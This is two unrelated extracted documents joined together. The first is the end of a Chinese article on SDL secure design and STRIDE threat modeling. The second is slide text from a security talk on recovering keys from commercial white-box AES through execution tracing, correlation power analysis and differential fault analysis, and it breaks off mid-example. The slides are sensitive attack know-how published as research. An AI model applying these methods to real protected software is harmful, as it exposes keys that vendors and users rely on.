否是富文本进而进行相应编码操作,在输入时过滤的同时在输出时也进 行过滤操作。  即使做了十足的过滤、编码等安全防护,为了更一步确保缓解 XSS 攻击, Internet Explorer 6 SP1 为 Cookie 引入了一个新属性,这个属性规定, 不许通过脚本访问 cookie。Web 站点程序对 Cookie 启用 HTTP-Only 第 7页 共 12页 属性后,可确保即使发生 XSS 攻击,也可以阻止通过脚本访问 Cookie 的操作。 2.6 威胁建模 威胁建模是一种分析应用程序威胁的过程和方法。这里的威胁是指恶意用户 可能会试图利用以破坏系统,和我们常说的漏洞并不相同。漏洞是一个特定的可 以被利用的威胁,如缓冲区溢出、sql 注入等。 作为 SDL 设计阶段的一部分安全活动,威胁建模允许安全设计人员尽在的 识别潜在的安全问题并实施相应缓解措施。在设计阶段把潜在的威胁发现有助于 威胁的全面和更有效的解决,同时也有助于降低开发和后期维护的成本。威胁建 模的一般流程如下:  与系统架构师及设计人员沟通,了解设计详情  使用成熟的威胁建模方法分析当前设计潜在的安全问题  提出安全建议及对潜在威胁的缓解措施  对安全设计进行验证并对整个设计方案进行回顾并再次确认 微软使用的威胁建模方法是 STRIDE 威胁建模方法。为了便于安全人员快速 便捷的进行威胁建模,微软开发基于 STRIDE 威胁建模方法的 SDL Threat Modeling Tool2威胁建模工具,该工具可以帮助安全人员画数据流图、分析威胁、 生成并导出威胁建模报告。 三. STRIDE 威胁建模方法 3.1 STRIDE 介绍 STRIDE 威胁建模是由微软提出的一种威胁建模方法,该方法将威胁类型分 为 Spoofing(仿冒)、Tampering(篡改)、Repudiation(抵赖)、Information Disclosure(信息泄漏)、Denial of Service(拒绝服务)和 Elevation of Privilege 2 https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx 第 8页 共 12页 (权限提升)。这六种威胁的首字母缩写即是 STRIDE,STRIDE 威胁模型几乎 可以涵盖目前绝大部分安全问题。此外,STRIDE 威胁建模方法有着详细的流程 和方法。 3.2 威胁建模流程 STRIDE 威胁建模的一般流程如下:  绘制数据流图  识别威胁  提出缓解措施  安全验证 图 2: STRIDE 威胁建模流程 3.2.1 数据流图 数据流图(Data Flow Diagrams)包含外部实体(External Entity)、处理过 程(Process)、数据流(Data Flow)、数据存储(Data Store),安全人员与系统架 构师及设计人员沟通,了解设计详情并画出数据流图后还需要标注信任边界 (Trust Boundary),针对简单的 Web 应用的数据流图如下: 第 9页 共 12页 图 3: 数据流图示例及元素类型 3.2.2 识别威胁 STRIDE 威胁建模方法已经明确了每个数据流图元素具有不同的威胁,其中 外部实体只有仿冒(S)、抵赖(R)威胁,数据流只有篡改(T)、信息泄露(I)、 拒绝服务(D)威胁,处理过程有所有六种(STRIDE)威胁,存储过程有篡改 (T)、信息泄露(I)、拒绝服务(D)威胁,但如果是日志类型存储则还有抵 赖(R)威胁。具体可以对照如下表格进行威胁识别: 元素 S T R I D E 外部实体 √ √ 处理过程 √ √ √ √ √ √ 数据存储 √ ? √ √ 数据流 √ √ √ 表 3 数据流图元素对应的不同威胁 3.2.3 缓解措施 根据不同的数据流图元素及威胁,相应的缓解措施也不相同。如本文示例数 据流图中外部实体用户的仿冒威胁,其缓解措施简单来说就是对用户身份进行认 证。对于一个 Web 应用来说,缓解仿冒威胁不仅需要较强的认证机制,还需要 第10页 共12页 防止恶意攻击者用暴力破解、口令猜测等方法绕过认证从而造成仿冒用户的威 胁。如果笔者来提出该用户仿冒威胁的缓解措施的话,详细措施如下:  对用户访问进行帐号密码、证书等身份认证;  用户帐号密码认证过程中,如果出现三次密码错误,则增加验证码机制。 输入验证码且正确再进行身份认证;  当用户认证 5 次后仍然验证失败,则在 30 分钟内禁止该帐号登录;  用户密码必须包含数字、字母及特殊字符,且长度在 8 位以上,如果业 务安全需要则增加密码过期机制,每隔 6 个月提醒用户修改密码; 在提出缓解措施时,有的时候不仅要考虑安全问题,同时也要考虑软件的易 用性,所以不同的威胁,不同的应用场景。其缓解措施也要随之而改变以提高应 用安全的同时也能给用户带来较好的交互体验。 微软对于常用的威胁给出了其常用的标准缓解措施,并在具体实施时已将常 用的缓解方案及措施集成为独立的解决方案或者代码模块。可以方便同类应用直 接使用。 威胁类型 缓解措施 技术方案 仿冒(S) 认证 Kerberos 认证 PKI 系统如 SSL / TLS 证 书 数字签名 篡改(T) 完整性保护 访问控制 完整性校验 抵赖(R) 日志审计 强认证 安全日志、审计 信息泄露(I) 保密性 加密 访问控制列表 拒绝服务(D) 可用性 访问控制列表 过滤 热备份 权限提升(E) 授权认证 输入校验 第11页 共12页 用户组管理 访问控制列表 3.2.4 安全验证 在威胁建模完成后,需要对整个过程进行回顾,不仅要确认缓解措施是否能 够真正缓解潜在威胁,同时验证数据流图是否符合设计,代码实现是否符合预期 设计,所有的威胁是否都有相应的缓解措施。最后将威胁建模报告留存档案,作 为后续迭代开发、增量开发时威胁建模的参考依据。 四. 总结 SDL 的核心理念是将安全考虑集成在软件开发的每一个阶段:需求分析、设 计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应 的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程度。本文重点 介绍了设计阶段的安全活动指导思想及 STRIDE 威胁建模,但 SDL 的其它阶段 的不同安全活动也同样对软件安全有着重要影响。同时本文介绍的安全设计原则 仅为指导思想,安全设计人员还需要掌握一定的安全攻防知识,具备一定的安全 攻防经验才能更好的设计出安全的方案及软件应用。另外根据笔者经验,在实际 的安全设计工作中,对于不同软件及应用场景其面临的安全问题也不同。随着互 联网时代发展,目前已经不在是单纯的软件时代了,类似移动端应用、智能硬件、 云端、大数据平台等新形态的应用都面临的自身特有的安全问题。安全设计人员 要考虑的也要更多,但安全设计的核心原则还是相差无几。由于篇幅及笔者经验 有限,本文所述如有不妥之处可以与笔者联系交流。 第12页 共12页 五. 参考文献 [1] https://www.microsoft.com/en-us/SDL/process/design.aspx [2] http://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx [3] Introduction_to_Threat_Modeling [4] Simplified Implementation of the SDL [5] https://github.com/Cryin/Paper
pdf
THE KEY RECOVERY ATTACKS
 AGAINST COMMERCIAL WHITE BOX CRYPTOGRAPHY IMPLEMENTATIONS SANGHWAN AHN(H2SPICE), LINE CORPORATION AGENDA • Introduction • WHITE-BOX CRYPTOGRAPHY • White-box Cryptanalysis • Conclusion INTRODUCTION CRYPTO SYSTEM IN THE SOFTWARE 0 1 0 1 1 1 1 0 1 0 1 1 0 1 0 1 WHITE-BOX THREAT MODEL ● Binary is completely visible to an attacker ● Attacker has full access to the cryptography algorithm ● Attacker has full control over its execution environment ● Unlimited amount of queries ● Trusted execution environment(TEE) ● ARM Trustzone, Intel SGX, AMD Memory Encryption ● It’s almost safe, but not many supported devices 
 (mostly latest devices)
 ● White-box cryptography(WBC) ● All academic WBC solutions have been broken ● No attack has been observed to date on commercial WBC
 SECURE ELEMENT WHITE-BOX CRYPTOGRAPHY SubBytes Key WBC ShiftRows MixColumns AddRoundKey PlainText CipherText CipherText PlainText WHITE-BOX AES IMPLEMENTATION Sbox ( x ⊕ key ) Key Input x Tbox KEY PARTIAL EVALUATION unsigned int Tboxes[9][16][256] = { /*First Round, K[0] is 0x6c*/ { 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b, 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe, 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511, 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed, 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf, 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142, 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1, 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05, 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413, 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d, 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b, 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34, 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85, 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972, 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6, 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1, 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a, 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9, 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83, 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c, 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea, 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df, 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f, 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d, 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec, 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56, 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591, 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6, 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b, 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45, 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb, 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa, 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5, 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9, 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433, 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122, 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c, 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e, 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0, 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a, 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f, 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e, 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697, 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c, 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27, 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969, 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c, 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc, 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2, 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4, 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8, 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14, 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810, 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf, 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949, 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda, 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6, 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a, 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e, 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3, 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad, 0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428, 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b, 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3 }, ... TABLE BASED AES IMPLEMENTATION T-Box XOR Table ShiftRows AddRoundKey SubByte MixColumns EXAMPLE Reference : https://github.com/0vercl0k/stuffz/tree/master/wbaes_attack/wbaes128 ENCODING IN A0 A0 -1 A1 A2 A1 -1 T0 T1 … An -1 OUT A * A-1 = I(identity matrix) Obfuscated T0` Obfuscated T1` A2 -1 A3 T2 An-1 -1 An Tn Obfuscated T2` Obfuscated Tn` ENCODING IN A0 A0 -1 A1 A2 A1 -1 T0 T1 An -1 OUT A * A-1 = I(identity matrix) A2 -1 A3 T2 An-1 -1 An Tn … Cancelled Cancelled Cancelled Cancelled Cancelled NETWORK OF LOOK-UP TABLES SubBytes Key WBC ShiftRows MixColumns AddRoundKey PlainText CipherText CipherText PlainText ● Cryptographic key is not visible ● Cryptographic operations are obfuscated, randomized COMPARISON OF AES AND WB-AES ● Academic WBC Implementations ● Karroumi's white-box AES implementation ● OpenWhiteBox ● Challenges in CTF ● Commercial WBC Implementations ● Simple cipher for performance ● Complex cipher for security WHITE-BOX 
 CRYPTANALYSIS 0 1 0 1 1 1 1 0 1 0 1 1 0 1 0 1 1 1 0 1 1 0 1 0 1 0 1 1 0 1 1 1 0 1 0 1 1 1 1 0 1 0 1 1 0 1 0 1 1 1 0 1 1 0 1 0 1 0 1 1 0 1 1 1 1 0 1 1 1 0 1 1 0 1 1 1 0 1 1 0 1 0 1 0 1 1 0 1 1 1 0 1 1 1 0 0 1 1 0 1 0 1 1 1 0 1 1 0 1 0 1 0 1 1 0 1 1 1 COMMERCIAL WHITE-BOX PRODUCTS WB Engine Secret Key 4A 32 4D 72 39 33 33 6C 61 54 4E 6B 32 4D 4A 30 Protected Key 49 D8 AD DC 2B AE 89 D1 EE 67 D0 5F CB F3 5C 07 35 2D B4 93 F1 63 D8 51 DC 58 BB DA E0 9A 60 0B 11 6E 12 15 B9 53 0E 66 F6 34 98 43 AC 80 7D F7 DA 02 DF 95 66 21 AE B4 5F 9E 7F 13 75 35 C3 95 5B D6 7A 81 4E 75 7D 55 56 CE 47 69 32 5A 5E D8 12 15 DA E0 2D 2B AE D8 … ● It's very difficult to recover protected key to plain secret key ● Recode intermediate computation result ● And then compare it and subkey guessed CipherText PlainText 0 1 0 1 1 1 1 0 1 0 1 1 0 1 0 0 POWER ANALYSIS Sbox ( x ⊕ gKn ) subkey guess Determine to point intermediate computation values and capture them 0 0.1 0 22 44 66 88 110132154176198220242 trace1 trace2 trace3 trace4 trace5 trace6 Analysis POWER ANALYSIS ON THE HARDWARE Typical example of a (hardware) power trace of an unprotected AES-128 implementation (one can observe the ten rounds) Reference : Joppe W. Bos et al. - Differential Computation Analysis: Hiding your White-Box Designs is Not Enough POWER ANALYSIS ON THE HARDWARE Typical example of a (hardware) power trace of an unprotected AES-128 implementation (one can observe the ten rounds) Reference : Joppe W. Bos et al. - Differential Computation Analysis: Hiding your White-Box Designs is Not Enough POWER ANALYSIS ON THE SOFTWARE Typical example of a portion of a serialized software trace of stack writes in an WBAES-128, with only two possible values: 0 or 1 Reference : Joppe W. Bos et al. - Differential Computation Analysis: Hiding your White-Box Designs is Not Enough CORRELATION POWER ANALYSIS(CPA) The correlation between the sensitive data and the power consumption for the 256 key guesses for a single byte Reference : W. Hnath, J. Pettengill, “Differential Power Analysis Side-Channel Attacks in Cryptography,” Major Qualifying Project, Worcester Polytechnic Institute, April 2010 CORRELATION POWER ANALYSIS(CPA) The correlation between the sensitive data and the power consumption for the 256 key guesses for 16 byte Reference : W. Hnath, J. Pettengill, “Differential Power Analysis Side-Channel Attacks in Cryptography,” Major Qualifying Project, Worcester Polytechnic Institute, April 2010 CRYPTOGRAPHIC PRIMITIVE Typical example of a (hardware) power trace of an unprotected AES-128 implementation (one can observe the ten rounds) Reference : Kevin Meritt, “Differential Power Analysis attacks on AES” SOFTWARE EXECUTION TRACE WITH DBI [.code execution] start_addr : 000000000400c1b7 end_addr : 000000000400c1d0 instruction info 000000000400c1b7: mov eax, dword ptr [ebp + 8] 000000000400c1ba: add dword ptr [ebx + 0x550], 1 000000000400c1c1: mov edx, dword ptr [eax + 0x228] 000000000400c1c7: mov edi, dword ptr [eax + 0x224] 000000000400c1cd: mov dword ptr [ebp - 0x44], edx 000000000400c1d0: jmp 0x400b3c1 [.mem write] code_addr : 000000000400c1ba mem_addr : 0000000004023550 size : 4 data : 30040000 [.mem write] code_addr : 000000000400c1c1 mem_addr : 0000000004025da8 size : 4 data : 347b0608 [.mem write] code_addr : 000000000400c1c7 mem_addr : 0000000004025da4 size : 4 data : 38390204 [.mem read] code_addr : 000000000400c1b7 mem_addr : 00000000beef7470 size : 4 data : 805b0204 [.mem read] code_addr : 000000000400c1b7 mem_addr : 00000000beef7470 size : 4 data : 805b0204 [.mem read] code_addr : 000000000400c1ba mem_addr : 0000000004023550 size : 4 data : 2f040000 VISUALIZED MAP OF OPEN-SOURCE WBAES-128 Write Read Execution Memory Address Time VISUALIZED MAP OF OPEN-SOURCE WBAES-128 Memory Address Time Write Read Execution WBAES-128 KEY RECOVERY WITH CPA rank 1 rank 2 rank 3 rank 4 rank 5 rank 6 rank 7 rank 8 rank 9 rank 10 key 1 0x2b (2.00538) 0x07 (1.80379) 0xc1 (1.73824) 0xee (1.70429) 0x08 (1.697) 0x0c (1.69357) 0x72 (1.67844) 0x2c (1.67127) 0x81 (1.66722) 0x0a (1.65412) key 2 0x7e (2.51091) 0x93 (1.74067) 0x06 (1.68867) 0x02 (1.68841) 0xa8 (1.67424) 0x54 (1.67341) 0x62 (1.67227) 0xb6 (1.66756) 0xe9 (1.66338) 0x86 (1.65473) key 3 0x15 (2.48606) 0xc8 (1.72634) 0xe4 (1.72553) 0x20 (1.70805) 0x92 (1.69391) 0x74 (1.68563) 0x1e (1.68499) 0x89 (1.67014) 0x43 (1.66724) 0xd6 (1.66098) key 4 0x16 (2.28568) 0xb5 (1.69677) 0x8f (1.68429) 0xbb (1.67537) 0x45 (1.66008) 0xe9 (1.64984) 0xcf (1.64378) 0xc2 (1.63327) 0x38 (1.61959) 0x6c (1.61645) key 5 0x28 (2.31281) 0x7d (1.69297) 0x5a (1.69283) 0xc9 (1.69053) 0x8e (1.68747) 0xfb (1.6714) 0xf3 (1.66702) 0x5b (1.6599) 0xaa (1.65702) 0x67 (1.65374) key 6 0xae (2.5603) 0x69 (1.73705) 0x8a (1.73109) 0xf5 (1.67828) 0xc4 (1.67624) 0xfe (1.67155) 0xa0 (1.66758) 0xe5 (1.66617) 0x98 (1.6579) 0xb8 (1.65789) key 7 0xd2 (2.47133) 0xb4 (1.81599) 0x5f (1.75024) 0xe0 (1.74447) 0xa1 (1.73202) 0x5a (1.71384) 0x8b (1.70006) 0x0b (1.69626) 0xcd (1.68755) 0x68 (1.66165) key 8 0xa6 (1.80113) 0x4b (1.70776) 0x9d (1.69386) 0x2d (1.67404) 0x01 (1.6456) 0x0d (1.64192) 0xbf (1.63917) 0xea (1.63454) 0xe7 (1.62918) 0x3e (1.62822) key 9 0xab (2.4717) 0x1d (1.7161) 0xc9 (1.71101) 0xe5 (1.70354) 0x7c (1.69538) 0x77 (1.68859) 0x2f (1.65904) 0xc4 (1.65721) 0xa1 (1.65257) 0x60 (1.64843) key 10 0xf7 (3.61634) 0xb8 (3.41278) 0xa4 (3.39504) 0x76 (3.38843) 0xc4 (3.38602) 0x17 (3.38253) 0xea (3.37196) 0xbe (3.35624) 0x8b (3.3548) 0x97 (3.33779) key 11 0x15 (2.02783) 0x16 (1.71121) 0xb6 (1.69905) 0x69 (1.69321) 0xbe (1.69316) 0x7b (1.69135) 0x41 (1.6857) 0x2f (1.67168) 0x91 (1.65783) 0x22 (1.65519) key 12 0x88 (2.8446) 0x3c (1.75204) 0xe4 (1.70494) 0x52 (1.66283) 0x79 (1.66221) 0x08 (1.64197) 0xb9 (1.62887) 0x40 (1.62375) 0x42 (1.61559) 0xb5 (1.60839) key 13 0x09 (1.88167) 0x96 (1.71604) 0xf2 (1.68481) 0xb4 (1.68284) 0x0d (1.67969) 0x6d (1.67959) 0x3f (1.67024) 0xaf (1.66383) 0x78 (1.66288) 0xe6 (1.66193) key 14 0xcf (2.3232) 0x19 (1.76684) 0x9a (1.74075) 0x3d (1.72711) 0x03 (1.69709) 0xe2 (1.68798) 0x07 (1.68521) 0xd2 (1.67812) 0x6f (1.67621) 0xca (1.67311) key 15 0x4f (2.11058) 0xd7 (1.80632) 0xce (1.71211) 0xad (1.71185) 0x45 (1.70138) 0x0e (1.69954) 0x62 (1.68237) 0x76 (1.67043) 0xc0 (1.66782) 0x48 (1.66293) key 16 0x3c (2.22229) 0x97 (1.70098) 0xa7 (1.69181) 0x5d (1.68828) 0x02 (1.67629) 0xea (1.65554) 0x07 (1.65372) 0x7e (1.65026) 0xe6 (1.6479) 0x29 (1.64527) VISUALIZED MAP OF SIMPLE-CIPHER Memory Address Time Write Read Execution VISUALIZED MAP OF SIMPLE-CIPHER Memory Address Time the round pattern 
 not found Object A Object B TAINT ANALYSIS Cryptographic primitive TAINT ANALYSIS - PLAINTEXT TRACE 0x4200986: (in /lib/i386-linux-gnu/libc-2.21.so) 0x42B34AE: (in /lib/i386-linux-gnu/libc-2.21.so) 0x42B34B3: (in /lib/i386-linux-gnu/libc-2.21.so) 0x42B34B8: (in /lib/i386-linux-gnu/libc-2.21.so) 0x42B34BD: (in /lib/i386-linux-gnu/libc-2.21.so) … 0x8181ABA: (in Commercial-SimpleWB-AES) 0x8181AC4: (in Commercial-SimpleWB-AES) 0x8181ACC: (in Commercial-SimpleWB-AES) 0x8181AD0: (in Commercial-SimpleWB-AES) 0x8181AE0: (in Commercial-SimpleWB-AES) 0x8181AE4: (in Commercial-SimpleWB-AES) 0x8181AEE: (in Commercial-SimpleWB-AES) 0x8181AF2: (in Commercial-SimpleWB-AES) 0x8181B04: (in Commercial-SimpleWB-AES) 0x8181B08: (in Commercial-SimpleWB-AES) 0x8181B10: (in Commercial-SimpleWB-AES) 0x8181B14: (in Commercial-SimpleWB-AES) 0x8181B24: (in Commercial-SimpleWB-AES) 0x8181B28: (in Commercial-SimpleWB-AES) 0x8181B32: (in Commercial-SimpleWB-AES) … Cryptographic primitive TAINT ANALYSIS FOR SIMPLE-CIPHER Memory Address Time VISUALIZED MAP OF SIMPLE-CIPHER Write Read Execution CPA ON THE SIMPLE-CIPHER rank 1 rank 2 rank 3 rank 4 rank 5 rank 6 rank 7 rank 8 rank 9 rank 10 key 1 0x4a (3.55009) 0x6b(3.38731) 0xbe(3.29755) 0x1e(3.29697) 0x2e(3.27285) 0x35(3.27269) 0x65(3.26551) 0x92(3.26066) 0x1d(3.25067) 0x58(3.24932) key 2 0x32 (4.34452) 0xd0(3.35588) 0xe8(3.31946) 0xcc(3.30517) 0x78(3.29646) 0xdf(3.28295) 0x17(3.27702) 0x64(3.27235) 0x79(3.26674) 0x8a(3.26442) key 3 0x4d (3.82747) 0xcc(3.31759) 0x23(3.29281) 0x91(3.28571) 0xb9(3.28026) 0xb3(3.27443) 0x4e(3.2596) 0xa2(3.25797) 0x8f(3.25309) 0x04(3.24456) key 4 0x72 (3.64867) 0x38(3.35217) 0xdf(3.3211) 0x2f(3.31467) 0xae(3.30714) 0xa1(3.30303) 0xf8(3.28997) 0xd3(3.28245) 0x1b(3.26429) 0x8b(3.26017) key 5 0x39 (4.1895) 0xc4(3.43936) 0xbb(3.32822) 0x8b(3.32537) 0x7c(3.31265) 0x8e(3.30741) 0x13(3.30152) 0x69(3.299) 0x9e(3.28805) 0x89(3.28379) key 6 0x33 (3.62186) 0x2d(3.38423) 0xa8(3.31917) 0xb8(3.30849) 0x72(3.28712) 0x48(3.28305) 0x96(3.27886) 0x4d(3.27446) 0x23(3.27344) 0x9a(3.27234) key 7 0x33 (4.26236) 0xda(3.30169) 0xc8(3.28577) 0x23(3.28246) 0x5f(3.26833) 0x17(3.26592) 0xd3(3.26428) 0xe6(3.26389) 0x64(3.25394) 0x85(3.24545) key 8 0x6c (3.61456) 0x21(3.35728) 0xba(3.3402) 0xb3(3.32199) 0x65(3.29623) 0xaf(3.27848) 0x1f(3.27791) 0x61(3.27659) 0x44(3.27522) 0xc6(3.26389) key 9 0x61 (4.19043) 0x8d(3.33732) 0x68(3.32288) 0x5f(3.30976) 0x1e(3.28015) 0xeb(3.27355) 0x96(3.26578) 0x13(3.26007) 0x0c(3.25348) 0xc0(3.25069) key 10 0x54 (3.66626) 0x42(3.45208) 0xd6(3.38613) 0x5d(3.37338) 0x3f(3.3665) 0xbc(3.34422) 0x3a(3.33917) 0xed(3.33183) 0x2d(3.32099) 0x14(3.3029) key 11 0x4e (3.71877) 0x74(3.32473) 0x39(3.32183) 0xee(3.30932) 0x52(3.30156) 0x68(3.27952) 0x7b(3.27918) 0x1a(3.27585) 0x30(3.25335) 0x16(3.25267) key 12 0x6b (3.65183) 0xab(3.45354) 0x28(3.34018) 0xbc(3.33583) 0xc1(3.33411) 0x02(3.31736) 0x07(3.28696) 0x13(3.27714) 0x75(3.27475) 0xc0(3.26212) key 13 0x32 (3.65053) 0x15(3.38309) 0x72(3.29484) 0xe9(3.28438) 0x88(3.28182) 0x52(3.25202) 0x95(3.24498) 0x6c(3.24336) 0x2d(3.24149) 0xc7(3.22936) key 14 0x4d (3.4734) 0x7d(3.31076) 0xcd(3.30883) 0x8e(3.30059) 0x5f(3.28006) 0x0b(3.27518) 0x10(3.26867) 0xee(3.26289) 0x7b(3.2615) 0x1a(3.24988) key 15 0x4a (3.65855) 0x0a(3.30734) 0x89(3.29788) 0xaf(3.29663) 0xf0(3.2857) 0xf1(3.28402) 0xcd(3.26806) 0x48(3.26561) 0xc8(3.26545) 0x87(3.25869) key 16 0x30 (4.20028) 0xc0(3.36153) 0xce(3.3276) 0x2c(3.32361) 0xe9(3.30428) 0x7b(3.29937) 0x8f(3.29511) 0x4e(3.29502) 0x1c(3.28909) 0xd6(3.27938) Memory Address Time VISUALIZED MAP OF COMPLEX-CIPHER Write Read Execution Ciphertext Plaintext PLAINTEXT TRACE ON THE COMPLEX-CIPHER REVERSE ENGINEERING FOR COMPLEX CIPHER Function B Function A Plaintext Ciphertext Repeats many times COMPLEX-CIPHER CONTROL FLOW WHITE-BOX TABLE IN COMPLEX-CIPHER ● Modify intermediate data ● Record changes to the output ● Compare incorrect result and correct result CipherText(wrong) PlainText 0 1 0 1 1 0 1 0 1 0 1 1 0 1 0 0 FAULT ANALYSIS Modify intermediate computation value CipherText(correct) PlainText Compare correct and incorrect result DIFFERENTIAL FAULT ANALYSIS(DFA) 87 F2 4D 97 6E 4C 90 EC 46 E7 4A C3 A6 8C D8 95 After ShiftRow9 99 F2 4D 97 6E 4C 90 EC 46 E7 4A C3 A6 8C D8 95 Fault injected ‘1E’ 7B 40 43 4C 29 D4 70 9F 8A E4 3A 42 CF A5 A6 BC After Mixcolumns AC 19 28 57 77 FA D1 5C 66 D C 29 00 F3 21 41 6E K9 ⊕ D7 59 8B 1B 5E 2E A1 C3 EC 38 13 42 3C 84 E7 D2 After AddRoundKey9 0E C B 3D AF 58 31 32 2E CE 07 7D 2C EB 5F 94 B5 After SubBytes10 0E C B 3D AF 31 32 2E 58 7D 2C CE 07 B5 EB 5F 94 After ShiftRows10 D0 C9 E1 B6 14 EE 3F 63 F9 25 0C 0C A8 89 C8 A6 K10 DE 02 D C 19 25 D C 11 3B 84 09 C2 0B 1D 62 97 32 Output with faults 39 02 D C 19 25 D C 11 6A 84 09 85 0B 1D FB 97 32 Output without fault ⊕ = ● Input = ’3243F6A8885A308D313198A2E0370734’ ● Cipher Key =’2B7E151628AED2A6ABF7158809CF4F3C’ ● Output= ’3925841D02DC09FBDC118597196A0B32’ Reference : P. Dusart, G. Letourneux and O. Vivolo, “Differential Fault Analysis on A.E.S.,” Cryptology ePrint Archive of IACR, No. 010, 2003 DIFFERENTIAL FAULT ANALYSIS(DFA) 87 F2 4D 97 6E 4C 90 EC 46 E7 4A C3 A6 8C D8 95 After ShiftRow9 99 F2 4D 97 6E 4C 90 EC 46 E7 4A C3 A6 8C D8 95 Fault injected ‘1E’ 7B 40 43 4C 29 D4 70 9F 8A E4 3A 42 CF A5 A6 BC After Mixcolumns AC 19 28 57 77 FA D1 5C 66 D C 29 00 F3 21 41 6E K9 ⊕ D7 59 8B 1B 5E 2E A1 C3 EC 38 13 42 3C 84 E7 D2 After AddRoundKey9 0E C B 3D AF 58 31 32 2E CE 07 7D 2C EB 5F 94 B5 After SubBytes10 0E C B 3D AF 31 32 2E 58 7D 2C CE 07 B5 EB 5F 94 After ShiftRows10 D0 C9 E1 B6 14 EE 3F 63 F9 25 0C 0C A8 89 C8 A6 K10 DE 02 D C 19 25 D C 11 3B 84 09 C2 0B 1D 62 97 32 39 02 D C 19 25 D C 11 6A 84 09 85 0B 1D FB 97 32 ⊕ = Output with faults Output without fault ⊕ E7 00 + 00 + 00 + 00 + 00 + 00 + 51 00 + 00 + 47 00 + 00 + 99 00 + 00 + Error = ● Input = ’3243F6A8885A308D313198A2E0370734’ ● Cipher Key =’2B7E151628AED2A6ABF7158809CF4F3C’ ● Output= ’3925841D02DC09FBDC118597196A0B32’ Reference : P. Dusart, G. Letourneux and O. Vivolo, “Differential Fault Analysis on A.E.S.,” Cryptology ePrint Archive of IACR, No. 010, 2003 DIFFERENTIAL FAULT ANALYSIS(DFA) 87 F2 4D 97 6E 4C 90 EC 46 E7 4A C3 A6 8C D8 95 After ShiftRow9 99 F2 4D 97 6E 4C 90 EC 46 E7 4A C3 A6 8C D8 95 Fault injected ‘1E’ 7B 40 43 4C 29 D4 70 9F 8A E4 3A 42 CF A5 A6 BC After Mixcolumns AC 19 28 57 77 FA D1 5C 66 D C 29 00 F3 21 41 6E K9 ⊕ D7 